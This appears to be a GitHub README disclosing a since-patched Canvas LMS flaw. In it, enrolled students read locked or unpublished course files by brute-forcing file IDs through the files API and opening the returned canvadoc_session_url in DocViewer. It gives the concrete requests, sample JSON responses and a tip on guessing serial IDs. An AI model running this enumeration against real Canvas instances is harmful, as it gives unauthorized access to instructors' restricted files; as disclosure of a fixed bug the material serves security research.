gaukas / instructure-canvas-file-oracle

Gain access to any uploaded files in your class via DocViewer using an exploitation in Canvas API v1.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Canvas File Oracle

Important Notice: This vulnerability has been patched as of 10/15/2022.

Exploitation Summary

Our researcher has found that due to the absent file permission checking in the API, the value of canvadoc_session_url makes it possible for a student to view any uploaded files in a course the student has enrolled, even if the file belongs to an unpublished module, is locked, or is locked and belongs to an unpublished module.

Core Vulnerability

  • The Access Token generated by Canvas LMS behaves non-discriminatively for all roles.
    • GET https://canvas.example.com/api/v1/courses/{COURSE_ID}/files/{FILE_ID} always return a JSON object containing a valid canvadoc_session_url property when the owner of the Access Token is enrolled in the {COURSE_ID} and {FILE_ID} specifies a file in {COURSE_ID}.
  • canvadoc_session_url from the JSON object behaves non-discriminatively for all roles.
    • For all roles (teacher, TA, student), canvadoc_session_url provides the path (301 redirects) to a DocViewer page. The DocView is believed to be used by Canvas by being loaded in an iframe.

Exploitation

It would be trivial to create a bruteforce attack for a specific {COURSE_ID} to get the {TARGET_FILE_ID}:

GET https://canvas.example.com/api/v1/courses/{COURSE_ID}/files/{TARGET_FILE_ID}

by bruteforcing all possible {TARGET_FILE_ID} values. When the {TARGET_FILE_ID} is not exist, API returns:

{
  "errors": [
    {
      "message": "The specified resource does not exist."
    }
  ]
}

Otherwise, API returns an JSON object containing the detailed file info:

{
  "id": 153481443,
  "uuid": "VAfrXT0AGMUqmxfdMP90voq9hJCb0gOvOGQ9q4G4",
  "folder_id": 31307712,
  "display_name": "unsafe3.txt",
  "filename": "unsafe3.txt",
  "upload_status": "success",
  "content-type": "text/plain",
  "url": "",
  "size": 18,
  "created_at": "2021-09-25T03:39:19Z",
  "updated_at": "2021-09-25T04:16:51Z",
  "unlock_at": null,
  "locked": false,
  "hidden": false,
  "lock_at": null,
  "hidden_for_user": false,
  "thumbnail_url": "",
  "modified_at": "2021-09-25T03:39:19Z",
  "mime_class": "text",
  "media_entry_id": null,
  "locked_for_user": true,
  "lock_info": {
    "asset_string": "attachment_153481443",
    "context_module": {
      "id": 7687041,
      "context_id": 3550057,
      "context_type": "Course",
      "name": "Private Locked Module",
      "position": 4,
      "prerequisites": [],
      "completion_requirements": [],
      "created_at": "2021-09-25T03:30:02Z",
      "updated_at": "2021-09-25T04:16:51Z",
      "workflow_state": "unpublished",
      "deleted_at": null,
      "unlock_at": "2021-11-24T07:00:00Z",
      "migration_id": null,
      "require_sequential_progress": false,
      "cloned_item_id": null,
      "completion_events": null,
      "requirement_count": null,
      "root_account_id": 10
    },
    "unlock_at": "2021-11-24T07:00:00Z"
  },
  "lock_explanation": "This file is locked until Nov 24 at 12am.",
  "canvadoc_session_url": "/api/v1/canvadoc_session?blob=%7B%22user_id%22:70000032029297,%22attachment_id%22:153481443,%22type%22:%22canvadoc%22%7D&hmac=e423b38ecb275dca5f694e941ab1beaa4d03453d",
  "crocodoc_session_url": null
}

By appending canvadoc_session_url part to the hostname https://canvas.examples.com, we get something like

https://canvas.examples.com/api/v1/canvadoc_session?blob=%7B%22user_id%22:70000032029297,%22attachment_id%22:153481443,%22type%22:%22canvadoc%22%7D&hmac=e423b38ecb275dca5f694e941ab1beaa4d03453d

Which redirects to a DovViewer showing the contents of the file, even if the file is current UNPUBLISHED or even LOCKED.

Attack Improvement

The attack efficiency could be greatly amplified if the attacker could make an educated guess for the FileID, which is serialized for each Canvas LMS instance installation.

About

Gain access to any uploaded files in your class via DocViewer using an exploitation in Canvas API v1.


Languages

Language:Python 100.0%